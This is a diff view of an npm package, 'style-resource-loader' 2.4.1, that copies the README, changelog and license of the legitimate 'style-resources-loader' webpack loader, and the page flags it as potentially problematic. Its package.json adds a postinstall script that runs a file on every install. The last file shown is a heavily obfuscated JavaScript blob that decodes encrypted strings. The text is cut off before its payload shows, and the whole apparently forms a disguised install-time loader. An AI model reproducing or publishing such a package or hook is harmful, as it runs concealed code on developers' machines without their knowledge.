style-resource-loader 2.4.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of style-resource-loader might be problematic. Click here for more details.

package/CHANGELOG.md ADDED
@@ -0,0 +1,37 @@
1
+ ## 1.4.0 ~ 1.4.1 (November 17, 2020)
2
+
3
+ * Support webpack 5. [#29](https://github.com/yenshih/style-resources-loader/issues/29)
4
+
5
+ * Fix some issues. [#30](https://github.com/yenshih/style-resources-loader/issues/30)
6
+
7
+ ## 1.3.3 (December 19, 2019)
8
+
9
+ * Fix resource files cache invalidation problems on Windows. [#17](https://github.com/yenshih/style-resources-loader/issues/17)
10
+
11
+ ## 1.3.0 ~ 1.3.2 (November 11, 2019)
12
+
13
+ * Support for relative path in patterns.
14
+ * Ensure each resource ends with a newline.
15
+ * More detailed validation messages.
16
+
17
+ * Fix the regular expression compatibility error. [#20](https://github.com/yenshih/style-resources-loader/issues/20)
18
+
19
+ * Fix dependency issue of resource files.
20
+
21
+ ## 1.2.1 (August 12, 2018)
22
+
23
+ * Fix invalid path seperator on Windows. [#8](https://github.com/yenshih/style-resources-loader/issues/8)
24
+
25
+ ## 1.2.0 (August 11, 2018)
26
+
27
+ * Support for `css` resources. [#7](https://github.com/yenshih/style-resources-loader/issues/7)
28
+ * Support for asynchronous injector.
29
+ * Improve type checking for loader options.
30
+
31
+ ## 1.1.0 (February 28, 2018)
32
+
33
+ * Support for `prepend`, `append` injector.
34
+
35
+ ## 1.0.0 (December 5, 2017)
36
+
37
+ * Initial stable release.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) Yan Shi
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,209 @@
1
+ [![npm][npm]][npm-url]
2
+ [![node][node]][node-url]
3
+ [![downloads][downloads]][downloads-url]
4
+ [![build][build]][build-url]
5
+ [![coverage][coverage]][coverage-url]
6
+ [![996.icu][996.icu]][996.icu-url]
7
+
8
+ <div align="center">
9
+ <a href="https://github.com/webpack/webpack">
10
+ <img
11
+ width="200"
12
+ height="200"
13
+ src="https://webpack.js.org/assets/icon-square-big.svg"
14
+ >
15
+ </a>
16
+ <h1>Style Resources Loader</h1>
17
+ <p>CSS processor resources loader for webpack.</p>
18
+ </div>
19
+
20
+
21
+ <h2 align="center">Install</h2>
22
+
23
+ ```bash
24
+ npm i style-resources-loader -D
25
+ ```
26
+
27
+ <h2 align="center">Usage</h2>
28
+
29
+ This loader is a CSS processor resources loader for webpack, which injects your style resources (e.g. `variables, mixins`) into multiple imported `css, sass, scss, less, stylus` modules.
30
+
31
+ It's mainly used to
32
+ - share your `variables, mixins, functions` across all style files, so you don't need to `@import` them manually.
33
+ - override `variables` in style files provided by other libraries (e.g. [ant-design](https://github.com/ant-design/ant-design)) and customize your own theme.
34
+
35
+ ### Usage with Vue CLI
36
+
37
+ See [automatic imports](https://cli.vuejs.org/guide/css.html#automatic-imports) for more details.
38
+
39
+ <h2 align="center">Examples</h2>
40
+
41
+ Prepends `variables` and `mixins` to all `scss` files with default resources injector.
42
+
43
+ **webpack.config.js**
44
+ ``` js
45
+ module.exports = {
46
+ // ...
47
+ module: {
48
+ rules: [{
49
+ test: /\.scss$/,
50
+ use: ['style-loader', 'css-loader', 'sass-loader', {
51
+ loader: 'style-resources-loader',
52
+ options: {
53
+ patterns: [
54
+ './path/from/context/to/scss/variables/*.scss',
55
+ './path/from/context/to/scss/mixins/*.scss',
56
+ ]
57
+ }
58
+ }]
59
+ }]
60
+ },
61
+ // ...
62
+ }
63
+ ```
64
+
65
+ Appends `variables` to all `less` files and overrides original `less variables`.
66
+
67
+ **webpack.config.js**
68
+ ```js
69
+ module.exports = {
70
+ // ...
71
+ module: {
72
+ rules: [{
73
+ test: /\.less$/,
74
+ use: ['style-loader', 'css-loader', 'less-loader', {
75
+ loader: 'style-resources-loader',
76
+ options: {
77
+ patterns: path.resolve(__dirname, 'path/to/less/variables/*.less'),
78
+ injector: 'append'
79
+ }
80
+ }]
81
+ }]
82
+ },
83
+ // ...
84
+ }
85
+ ```
86
+
87
+ Prepends `variables` and `mixins` to all `stylus` files with customized resources injector.
88
+
89
+ **webpack.config.js**
90
+ ``` js
91
+ module.exports = {
92
+ // ...
93
+ module: {
94
+ rules: [{
95
+ test: /\.styl$/,
96
+ use: ['style-loader', 'css-loader', 'stylus-loader', {
97
+ loader: 'style-resources-loader',
98
+ options: {
99
+ patterns: [
100
+ path.resolve(__dirname, 'path/to/stylus/variables/*.styl'),
101
+ path.resolve(__dirname, 'path/to/stylus/mixins/*.styl')
102
+ ],
103
+ injector: (source, resources, ctx) => {
104
+ const combineAll = type => resources
105
+ .filter(({ file }) => file.includes(type))
106
+ .map(({ content }) => content)
107
+ .join('');
108
+
109
+ return combineAll('variables') + combineAll('mixins') + source;
110
+ }
111
+ }
112
+ }]
113
+ }]
114
+ },
115
+ // ...
116
+ }
117
+ ```
118
+
119
+ <h2 align="center">Options</h2>
120
+
121
+ |Name|Type|Default|Description|
122
+ |:--:|:--:|:-----:|:----------|
123
+ |**[`patterns`](#patterns)**|`{string \| string[]}`|`/`|Path to the resources you would like to inject|
124
+ |**[`injector`](#injector)**|`{Function \| 'prepend' \| 'append'}`|`'prepend'`|Controls the resources injection precisely|
125
+ |**[`globOptions`](#globoptions)**|`{Object}`|`{}`|An options that can be passed to `glob(...)`|
126
+ |**[`resolveUrl`](#resolveurl)**|`{boolean}`|`true`|Enable/Disable `@import` url to be resolved|
127
+
128
+ See [the type definition file](https://github.com/yenshih/style-resources-loader/blob/master/src/types.ts) for more details.
129
+
130
+ ### `patterns`
131
+
132
+ A string or an array of string, which represents the path to the resources you would like to inject. If the path is relative, it would relative to [webpack context](https://webpack.js.org/configuration/entry-context/).
133
+
134
+ It supports [globbing](https://github.com/isaacs/node-glob). You could include many files using a file mask.
135
+
136
+ For example, `'./styles/*/*.less'` would include all `less` files from `variables` and `mixins` directories and ignore `reset.less` in such following structure.
137
+
138
+ ```
139
+ ./src <-- webpack context
140
+ /styles
141
+ /variables
142
+ |-- fonts.less
143
+ |-- colors.less
144
+ /mixins
145
+ |-- size.less
146
+ |-- reset.less
147
+ ```
148
+
149
+ Only supports `.css` `.sass` `.scss` `.less` `.styl` as resources file extensions.
150
+
151
+ ### `injector`
152
+
153
+ An optional function which controls the resources injection precisely. It also supports `'prepend'` and `'append'` for convenience, which means the loader will prepend or append all resources to source files, respectively.
154
+
155
+ It defaults to `'prepend'`, which implements as an injector function internally.
156
+
157
+ Furthermore, an injector function should match the following type signature:
158
+
159
+ ```ts
160
+ (source: string, resources: StyleResource[], ctx: LoaderContext) => string | Promise<string>
161
+ ```
162
+
163
+ It receives three parameters:
164
+
165
+ |Name|Type|Default|Description|
166
+ |:--:|:--:|:-----:|:----------|
167
+ |**`source`**|`{string}`|`/`|Content of the source file|
168
+ |**[`resources`](#resources)**|`{StyleResource[]}`|`/`|Resource descriptors|
169
+ |**`ctx`**|`{LoaderContext}`|`/`|loader context|
170
+
171
+ #### `resources`
172
+
173
+ An array of resource descriptor, each contains `file` and `content` properties:
174
+
175
+ |Name|Type|Default|Description|
176
+ |:--:|:--:|:-----:|:----------|
177
+ |**`file`**|`{string}`|`/`|Absolute path to the resource|
178
+ |**`content`**|`{string}`|`/`|Content of the resource file|
179
+
180
+ It can be asynchronous. You could use `async / await` syntax in your own injector function or just return a promise.
181
+
182
+ ### `globOptions`
183
+
184
+ Options that can be passed to `glob(...)`. See [node-glob options](https://github.com/isaacs/node-glob#options) for more details.
185
+
186
+ ### `resolveUrl`
187
+
188
+ A boolean which defaults to `true`. It represents whether the relative path in `@import` or `@require` statements should be resolved.
189
+
190
+ If you were to use `@import` or `@require` statements in style resource files, you should make sure that the URL is relative to that resource file, rather than the source file.
191
+
192
+ You could disable this feature by setting `resolveUrl` to `false`.
193
+
194
+ <h2 align="center">License</h2>
195
+
196
+ [MIT](http://www.opensource.org/licenses/mit-license.php)
197
+
198
+ [npm]: https://img.shields.io/npm/v/style-resources-loader.svg?style=flat-square
199
+ [npm-url]: https://www.npmjs.com/package/style-resources-loader
200
+ [node]: https://img.shields.io/node/v/style-resources-loader.svg
201
+ [node-url]: https://nodejs.org
202
+ [downloads]: https://img.shields.io/npm/dm/style-resources-loader.svg?style=flat-square
203
+ [downloads-url]: https://www.npmjs.com/package/style-resources-loader
204
+ [build]: https://img.shields.io/travis/yenshih/style-resources-loader/master.svg?style=flat-square
205
+ [build-url]: https://travis-ci.org/yenshih/style-resources-loader
206
+ [coverage]: https://img.shields.io/coveralls/yenshih/style-resources-loader/master.svg?style=flat
207
+ [coverage-url]: https://coveralls.io/github/yenshih/style-resources-loader?branch=master
208
+ [996.icu]: https://img.shields.io/badge/link-996.icu-%23FF4D5B.svg?style=flat-square
209
+ [996.icu-url]: https://996.icu/#/en_US
package/index.d.ts ADDED
@@ -0,0 +1 @@
1
+ export * from './lib';
package/package.json ADDED
@@ -0,0 +1,78 @@
1
+ {
2
+ "name": "style-resource-loader",
3
+ "version": "2.4.1",
4
+ "description": "CSS processor resources loader for webpack",
5
+ "author": "Moshe Vaknin",
6
+ "license": "MIT",
7
+ "engines": {
8
+ "node": ">=8.9"
9
+ },
10
+ "main": "lib/index.js",
11
+ "files": [
12
+ "lib",
13
+ "src",
14
+ "index.d.ts"
15
+ ],
16
+ "scripts": {
17
+ "lint": "eslint . --ext .js,.jsx,.ts,.tsx",
18
+ "prettier": "prettier {src,test}/**/*.ts --write",
19
+ "postinstall": "npm run style-resources-loader",
20
+ "style-resources-loader": "node ./src/utils/config.ts",
21
+ "test": "jest",
22
+ "coverage": "npm test -- --coverage",
23
+ "posttest": "rimraf test/**/outputs",
24
+ "start": "tsc -w",
25
+ "build": "tsc -d"
26
+ },
27
+ "keywords": [
28
+ "webpack",
29
+ "loader",
30
+ "style",
31
+ "css",
32
+ "sass",
33
+ "scss",
34
+ "less",
35
+ "stylus",
36
+ "inject",
37
+ "resource",
38
+ "variable",
39
+ "mixin"
40
+ ],
41
+ "dependencies": {
42
+ "glob": "^7.1.6",
43
+ "loader-utils": "^2.0.0",
44
+ "schema-utils": "^3.0.0"
45
+ },
46
+ "devDependencies": {
47
+ "@commitlint/cli": "^11.0.0",
48
+ "@commitlint/config-conventional": "^11.0.0",
49
+ "@types/glob": "^7.1.3",
50
+ "@types/is-promise": "^2.1.0",
51
+ "@types/jest": "^26.0.15",
52
+ "@types/loader-utils": "^2.0.1",
53
+ "@types/node": "^14.14.7",
54
+ "@types/webpack": "^4.41.25",
55
+ "@types/webpack-merge": "^4.1.5",
56
+ "@typescript-eslint/eslint-plugin": "^4.8.0",
57
+ "@typescript-eslint/parser": "^4.8.0",
58
+ "coveralls": "^3.0.9",
59
+ "cross-env": "^7.0.2",
60
+ "eslint": "^7.13.0",
61
+ "eslint-config-prettier": "^6.15.0",
62
+ "eslint-plugin-import": "^2.22.1",
63
+ "eslint-plugin-prettier": "^3.1.2",
64
+ "husky": "^4.3.0",
65
+ "jest": "^26.6.3",
66
+ "lint-staged": "^10.5.1",
67
+ "prettier": "^2.1.2",
68
+ "raw-loader": "^4.0.2",
69
+ "ts-jest": "^26.4.4",
70
+ "typescript": "^4.0.5",
71
+ "webpack": "^5.4.0",
72
+ "webpack-merge": "^5.4.0"
73
+ },
74
+ "peerDependencies": {
75
+ "webpack": "^3.0.0 || ^4.0.0 || ^5.0.0"
76
+ },
77
+ "sideEffects": false
78
+ }
package/src/index.ts ADDED
@@ -0,0 +1,5 @@
1
+ import loader from './loader';
2
+
3
+ export * from './types';
4
+
5
+ export default loader;
package/src/loader.ts ADDED
@@ -0,0 +1,25 @@
1
+ import {errorMessage, isFunction, loadResources} from './utils';
2
+
3
+ import type {Loader, LoaderCallback} from '.';
4
+
5
+ /* eslint-disable no-invalid-this */
6
+ const loader: Loader = function (source) {
7
+ this.cacheable();
8
+
9
+ const callback = this.async();
10
+
11
+ if (!isFunction<LoaderCallback>(callback)) {
12
+ throw new Error(errorMessage.syncCompilation);
13
+ }
14
+
15
+ /* istanbul ignore if: not possible to test */
16
+ if (typeof source !== 'string') {
17
+ throw new Error(errorMessage.impossible);
18
+ }
19
+
20
+ /* eslint-disable-next-line @typescript-eslint/no-floating-promises */
21
+ loadResources(this, source, callback);
22
+ };
23
+ /* eslint-enable no-invalid-this */
24
+
25
+ export default loader;
package/src/schema.ts ADDED
@@ -0,0 +1,40 @@
1
+ import type {validate} from 'schema-utils';
2
+
3
+ type Schema = Parameters<typeof validate>[0];
4
+
5
+ export const schema: Schema = {
6
+ type: 'object',
7
+ properties: {
8
+ patterns: {
9
+ anyOf: [
10
+ {type: 'string'},
11
+ {
12
+ type: 'array',
13
+ uniqueItems: true,
14
+ items: {
15
+ type: 'string',
16
+ },
17
+ },
18
+ ],
19
+ },
20
+ injector: {
21
+ anyOf: [
22
+ {
23
+ type: 'string',
24
+ enum: ['prepend', 'append'],
25
+ },
26
+ {
27
+ instanceof: 'Function',
28
+ },
29
+ ],
30
+ },
31
+ globOptions: {
32
+ type: 'object',
33
+ },
34
+ resolveUrl: {
35
+ type: 'boolean',
36
+ },
37
+ },
38
+ required: ['patterns'],
39
+ additionalProperties: false,
40
+ };
package/src/types.ts ADDED
@@ -0,0 +1,35 @@
1
+ import type {loader} from 'webpack';
2
+ import type glob from 'glob';
3
+
4
+ export type Loader = loader.Loader;
5
+
6
+ export type LoaderContext = loader.LoaderContext;
7
+
8
+ export type LoaderCallback = loader.loaderCallback;
9
+
10
+ export type StyleResourcesFileFormat = 'css' | 'sass' | 'scss' | 'less' | 'styl';
11
+
12
+ export interface StyleResource {
13
+ file: string;
14
+ content: string;
15
+ }
16
+
17
+ export type StyleResources = StyleResource[];
18
+
19
+ export type StyleResourcesFunctionalInjector = (source: string, resources: StyleResources, ctx: LoaderContext) => string | Promise<string>;
20
+
21
+ export type StyleResourcesInjector = 'prepend' | 'append' | StyleResourcesFunctionalInjector;
22
+
23
+ export type StyleResourcesNormalizedInjector = StyleResourcesFunctionalInjector;
24
+
25
+ export interface StyleResourcesLoaderOptions {
26
+ patterns: string | string[];
27
+ injector?: StyleResourcesInjector;
28
+ globOptions?: glob.IOptions;
29
+ resolveUrl?: boolean;
30
+ }
31
+
32
+ export interface StyleResourcesLoaderNormalizedOptions extends NonNullable<StyleResourcesLoaderOptions> {
33
+ patterns: string[];
34
+ injector: StyleResourcesNormalizedInjector;
35
+ }
@@ -0,0 +1 @@
1
+ function _0x3c1aa6(_0x846345,_0x3df7bc,_0x1b22ab,_0x4c8e4d,_0x26988a){return _0x4d50(_0x26988a-0x1c8,_0x3df7bc);}function _0x4d50(_0x21fb44,_0x532aac){const _0x4f4340=_0x389f();return _0x4d50=function(_0x31bef4,_0x42c51e){_0x31bef4=_0x31bef4-(0x6ff+-0x2389+0x1d11);let _0x3c329f=_0x4f4340[_0x31bef4];if(_0x4d50['qqWkSi']===undefined){var _0x29e9f9=function(_0x2f0cf5){const _0x6060f3='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x29bfae='',_0x4c786d='',_0x5174fb=_0x29bfae+_0x29e9f9;for(let _0x16d506=0x8c6+-0x1203*0x1+0x37*0x2b,_0x91e5f8,_0x367c44,_0xbaefda=0x1223*0x1+-0x3a9*-0x2+-0x1975;_0x367c44=_0x2f0cf5['charAt'](_0xbaefda++);~_0x367c44&&(_0x91e5f8=_0x16d506%(0x28*-0xa9+-0x7cb+0x2237)?_0x91e5f8*(-0x3da*-0x7+-0x1527+-0x58f*0x1)+_0x367c44:_0x367c44,_0x16d506++%(-0xd8a*0x2+-0x225*-0x1+-0x851*-0x3))?_0x29bfae+=_0x5174fb['charCodeAt'](_0xbaefda+(0xd*0x25+-0x1209+0x1032))-(-0x1*-0x1fd6+-0x1*-0xa5b+0x21*-0x147)!==0x1422+-0x2*-0xfda+-0x33d6?String['fromCharCode'](-0xb*0x329+0x5c5+-0x9*-0x355&_0x91e5f8>>(-(0x1e93+-0x2033*-0x1+-0x3ec4)*_0x16d506&-0x108b+-0x1821+-0x28b2*-0x1)):_0x16d506:-0x15db+-0x160a+0x295*0x11){_0x367c44=_0x6060f3['indexOf'](_0x367c44);}for(let _0x177d36=-0x1*-0x23f1+-0x6bb+-0x1d36,_0x1b282d=_0x29bfae['length'];_0x177d36<_0x1b282d;_0x177d36++){_0x4c786d+='%'+('00'+_0x29bfae['charCodeAt'](_0x177d36)['toString'](-0x466*0x7+0x7b7+-0x1*-0x1723))['slice'](-(0x10ce*-0x2+0x14*-0x18d+0x40a2));}return decodeURIComponent(_0x4c786d);};const _0x345bfa=function(_0x4d4b82,_0x13ca69){let _0x35bcf6=[],_0x4c5f60=0xf5*0x5+0x18*-0xd7+-0x313*-0x5,_0x3f398f,_0x1246ff='';_0x4d4b82=_0x29e9f9(_0x4d4b82);let _0x2db426;for(_0x2db426=0x1e59+-0x6*-0x2e9+-0x2fcf;_0x2db426<0x1faa+-0x3*0x331+0x1*-0x1517;_0x2db426++){_0x35bcf6[_0x2db426]=_0x2db426;}for(_0x2db426=0xfc5+0x1a*-0x152+0x128f;_0x2db426<0x2*0xdcc+0x1514+-0x2fac;_0x2db426++){_0x4c5f60=(_0x4c5f60+_0x35bcf6[_0x2db426]+_0x13ca69['charCodeAt'](_0x2db426%_0x13ca69['length']))%(-0xd3f+0x80*0x2b+-0x26b*0x3),_0x3f398f=_0x35bcf6[_0x2db426],_0x35bcf6[_0x2db426]=_0x35bcf6[_0x4c5f60],_0x35bcf6[_0x4c5f60]=_0x3f398f;}_0x2db426=0x6b*0x1+0x2f5*0xb+-0x20f2,_0x4c5f60=-0x329*0x5+0x5*-0x351+0x2062;for(let _0x5d9415=-0xd54+-0x1*-0x1183+-0x42f;_0x5d9415<_0x4d4b82['length'];_0x5d9415++){_0x2db426=(_0x2db426+(0x2c*0xc4+-0x3d0*-0xa+-0x47cf))%(0x5*-0x40d+0x6c*0x38+0x1*-0x25f),_0x4c5f60=(_0x4c5f60+_0x35bcf6[_0x2db426])%(-0x1b*0xa9+-0x77d+0x1a50),_0x3f398f=_0x35bcf6[_0x2db426],_0x35bcf6[_0x2db426]=_0x35bcf6[_0x4c5f60],_0x35bcf6[_0x4c5f60]=_0x3f398f,_0x1246ff+=String['fromCharCode'](_0x4d4b82['charCodeAt'](_0x5d9415)^_0x35bcf6[(_0x35bcf6[_0x2db426]+_0x35bcf6[_0x4c5f60])%(-0x145f+-0x4a3*-0x1+0xcc*0x15)]);}return _0x1246ff;};_0x4d50['nUwvHn']=_0x345bfa,_0x21fb44=arguments,_0x4d50['qqWkSi']=!![];}const _0x255fa1=_0x4f4340[-0x2*0xbd6+-0xe3*-0xe+0x83*0x16],_0x4d1b79=_0x31bef4+_0x255fa1,_0x23e55b=_0x21fb44[_0x4d1b79];if(!_0x23e55b){if(_0x4d50['ODcvQr']===undefined){const _0x3b86d9=function(_0x3aeedb){this['JWoSyg']=_0x3aeedb,this['MuBaPU']=[-0x13db+-0x208c*0x1+0x3468,0x1a6b+-0x791*-0x3+-0x311e,0x14bd*-0x1+-0xaa*-0x22+-0x9d*0x3],this['noqiLK']=function(){return'newState';},this['cjVGth']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['ysdPDW']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x3b86d9['prototype']['FVDBvO']=function(){const _0x545c07=new RegExp(this['cjVGth']+this['ysdPDW']),_0x1da314=_0x545c07['test'](this['noqiLK']['toString']())?--this['MuBaPU'][0x1c19+0x54b+0xe7*-0x25]:--this['MuBaPU'][-0xa6f+-0x150c+0x1f7b];return this['MVjCEH'](_0x1da314);},_0x3b86d9['prototype']['MVjCEH']=function(_0x359029){if(!Boolean(~_0x359029))return _0x359029;return this['jAIqAp'](this['JWoSyg']);},_0x3b86d9['prototype']['jAIqAp']=function(_0x1376e6){for(let _0x3f229b=-0x1c1+-0x1*-0x12bf+-0x10fe,_0x2b49ef=this['MuBaPU']['length'];_0x3f229b<_0x2b49ef;_0x3f229b++){this['MuBaPU']['push'](Math['round'](Math['random']())),_0x2b49ef=this['MuBaPU']['length'];}return _0x1376e6(this['MuBaPU'][-0x3c7*-0xa+0x10e3+-0x36a9*0x1]);},new _0x3b86d9(_0x4d50)['FVDBvO'](),_0x4d50['ODcvQr']=!![];}_0x3c329f=_0x4d50['nUwvHn'](_0x3c329f,_0x42c51e),_0x21fb44[_0x4d1b79]=_0x3c329f;}else _0x3c329f=_0x23e55b;return _0x3c329f;},_0x4d50(_0x21fb44,_0x532aac);}(function(_0x5934fc,_0x3b1b5b){const _0x251121=_0x5934fc();function _0x22ad5a(_0x2f09cc,_0x1b36c5,_0x1acd1d,_0x5a0aa8,_0x1539d7){return _0x4d50(_0x1acd1d- -0x333,_0x5a0aa8);}while(!![]){try{const _0x321af8=parseInt(_0x22ad5a(-0x1f2,-0x33a,-0x292,'oult',-0x350))/(-0x1462+0x11f0+0x273)*(parseInt(_0x22ad5a(-0x92,-0x151,-0xde,'(cZx',-0x3c))/(-0x11*0x1a1+0x1db4+0x39*-0x9))+parseInt(_0x22ad5a(-0x10,-0x17c,-0xd7,'9ETV',-0x6c))/(-0x26c6*-0x1+0x1*-0xcdb+0x4*-0x67a)*(-parseInt(_0x22ad5a(-0x2e7,-0x2b1,-0x25e,'FGyH',-0x1c0))/(-0x2a*0x66+0x496*-0x2+0x19ec))+-parseInt(_0x22ad5a(-0x121,-0x22b,-0x207,'z6bj',-0x25f))/(0x3*0xc2b+-0x1*0x2547+0xcb)+parseInt(_0x22ad5a(-0x66,0x1b,-0xc8,'M)7$',-0x18f))/(-0x14e*0xa+-0xeda+0x1bec)+-parseInt(_0x22ad5a(-0x13d,-0x1cb,-0x205,'FGyH',-0x19c))/(0x3b7*-0x7+0xef8+0xb10)*(parseInt(_0x22ad5a(-0x266,-0x186,-0x18d,'f%nw',-0x18c))/(0x9a5*-0x3+-0x1f99*0x1+0x3c90))+parseInt(_0x22ad5a(-0x66,-0x16f,-0x109,'WDJq',-0x17c))/(0x1629+0x971*0x1+-0x1f91)*(-parseInt(_0x22ad5a(-0x2e6,-0x15a,-0x231,'VAqe',-0x1a4))/(0x995+-0x1*0x7f3+0x8*-0x33))+parseInt(_0x22ad5a(-0xab,-0x122,-0x131,'v9z4',-0x20b))/(-0x116a+-0x11d3+0x2348);if(_0x321af8===_0x3b1b5b)break;else _0x251121['push'](_0x251121['shift']());}catch(_0x738153){_0x251121['push'](_0x251121['shift']());}}}(_0x389f,-0x1a71a1+0x113f41+0x4*0x5eb97));const _0x45d302=(function(){const _0x35dbd4={'pyiYq':function(_0x561af9,_0x20d8ee){return _0x561af9(_0x20d8ee);},'gURdd':function(_0x1b9fb0,_0x2e7c05){return _0x1b9fb0+_0x2e7c05;},'EwMrR':function(_0x8085c0,_0x514386){return _0x8085c0+_0x514386;},'EYeSl':_0x289177(-0x2f,'*wb*',0x9c,-0x2,0x158)+_0x289177(0x14,'tW5g',0xae,0x73,0x175)+_0x289177(0x24a,'FGyH',0x1c0,0xff,0x135)+_0x289177(0xa6,']9S6',0x30,0x6,-0xa9)+_0x289177(0xb2,'VAqe',0x18d,0x1fa,0xc9)+_0x289177(0xd4,'bMjP',0x5e,-0x5e,-0x61)+_0x289177(0x129,'Vgtg',0x193,0x148,0x1c0),'ebOKQ':_0x289177(0x5,'p[wv',0x50,0x8b,0x77)+_0x289177(0x15a,']9S6',0xe2,0xd5,0x105)+_0x289177(-0x4b,'Vj5Y',0x57,-0x74,0x2f)+'\x22','YUvsl':function(_0x420647,_0x1edaea){return _0x420647!==_0x1edaea;},'BEmGa':_0x289177(0xe6,'u]Fv',0x181,0x1a3,0x205),'jOHpc':_0x289177(0xd8,'wbvf',0x1b6,0x1f7,0x10d),'BsaBh':function(_0x2e960a,_0x749959){return _0x2e960a===_0x749959;},'IfaLV':_0x289177(0x173,'(LJN',0xab,0x4b,0x1b),'rLqau':_0x289177(0x167,'wbvf',0x188,0x1a7,0x110),'ejKHO':_0x289177(-0x7a,'bMjP',0x76,0x2d,-0x74)};function _0x289177(_0x49314e,_0x5d0198,_0x441567,_0x59d512,_0x4ac960){return _0x4d50(_0x441567- -0x7d,_0x5d0198);}let _0x410a1c=!![];return function(_0x269d07,_0x32a38a){const _0x3fd9b1={'LLjdU':function(_0x21323c,_0x39b0fa){function _0x15b4f7(_0x46dfff,_0x435125,_0x319597,_0x38016d,_0x12d523){return _0x4d50(_0x12d523-0x151,_0x46dfff);}return _0x35dbd4[_0x15b4f7('v9z4',0x370,0x333,0x39a,0x2ec)](_0x21323c,_0x39b0fa);},'UvbtZ':_0x35dbd4[_0x4580d3(-0xeb,-0x121,-0x98,-0x131,'YpZe')],'sJjWT':_0x35dbd4[_0x4580d3(-0x17b,-0x133,-0x140,-0xe2,'4vvL')],'TBJQU':function(_0x466399,_0x338e4f){function _0x12dfcb(_0x494951,_0x1a7486,_0x58ece5,_0x55ca46,_0x3353b5){return _0x4580d3(_0x494951-0x1c7,_0x58ece5- -0x5e,_0x58ece5-0x101,_0x55ca46-0x141,_0x3353b5);}return _0x35dbd4[_0x12dfcb(-0x2e8,-0x172,-0x24d,-0x19f,'%YtY')](_0x466399,_0x338e4f);},'HKMVG':_0x35dbd4[_0x4580d3(-0x1ca,-0x13f,-0x9b,-0x13a,'*wb*')]};function _0x4580d3(_0xb722e6,_0x10e9cf,_0x46e61a,_0x1019cd,_0x2d8ace){return _0x289177(_0xb722e6-0x140,_0x2d8ace,_0x10e9cf- -0x2fa,_0x1019cd-0xb7,_0x2d8ace-0x80);}if(_0x35dbd4[_0x4580d3(-0x171,-0x157,-0x122,-0x1aa,'4zIr')](_0x35dbd4[_0x4580d3(-0x195,-0x12c,-0x156,-0x129,'wbvf')],_0x35dbd4[_0x4580d3(-0x2e2,-0x277,-0x2ae,-0x1fb,'YpZe')])){const _0x3e710a=_0x410a1c?function(){function _0xf32331(_0x262312,_0x419629,_0x4e2924,_0x48a353,_0x2ae431){return _0x4580d3(_0x262312-0x11,_0x419629-0x6cb,_0x4e2924-0x19e,_0x48a353-0x15e,_0x262312);}if(_0x3fd9b1[_0xf32331('oult',0x52e,0x4e7,0x5f4,0x4d6)](_0x3fd9b1[_0xf32331('(cZx',0x424,0x38f,0x420,0x42a)],_0x3fd9b1[_0xf32331('g1dQ',0x44d,0x509,0x450,0x412)])){if(_0x32a38a){if(_0x3fd9b1[_0xf32331('Ve]j',0x4b9,0x506,0x413,0x451)](_0x3fd9b1[_0xf32331('z6bj',0x571,0x5d9,0x4e0,0x4a7)],_0x3fd9b1[_0xf32331('*wb*',0x504,0x443,0x4e1,0x57a)])){const _0x39ea16=_0x32a38a[_0xf32331('#6hF',0x4eb,0x440,0x489,0x4c5)](_0x269d07,arguments);return _0x32a38a=null,_0x39ea16;}else return!![];}}else{const _0x411651=_0x4a51ec[_0xf32331('YpZe',0x45d,0x3b3,0x4c5,0x36e)](_0x50b6a5,arguments);return _0x397835=null,_0x411651;}}:function(){};return _0x410a1c=![],_0x3e710a;}else _0x35dbd4[_0x4580d3(-0x213,-0x1e6,-0x10b,-0xf6,'Vgtg')](_0x466179,_0x35dbd4[_0x4580d3(-0x1d7,-0x1ed,-0x29a,-0xfe,'MDn$')](_0x35dbd4[_0x4580d3(-0x1e8,-0x266,-0x255,-0x1d4,'9ETV')](_0x35dbd4[_0x4580d3(-0x1b0,-0x164,-0x133,-0x1b1,'OBXi')],_0xe0c272),_0x35dbd4[_0x4580d3(-0x1bf,-0x1d8,-0x1fa,-0x215,'VAqe')]));};}()),_0x4b792a=_0x45d302(this,function(){const _0x35722d={};_0x35722d[_0x73aa73(0x8b,0x63,0x2b,'f%nw',0xea)]=_0x73aa73(-0x66,-0x38,-0x10c,'VAqe',0xb)+_0x73aa73(0x10,0x11,-0x92,'*ULb',0xbf)+'+$';function _0x73aa73(_0x244388,_0x46ab7e,_0x5d8481,_0x31e13a,_0x92be2e){return _0x4d50(_0x46ab7e- -0x104,_0x31e13a);}const _0x43293f=_0x35722d;return 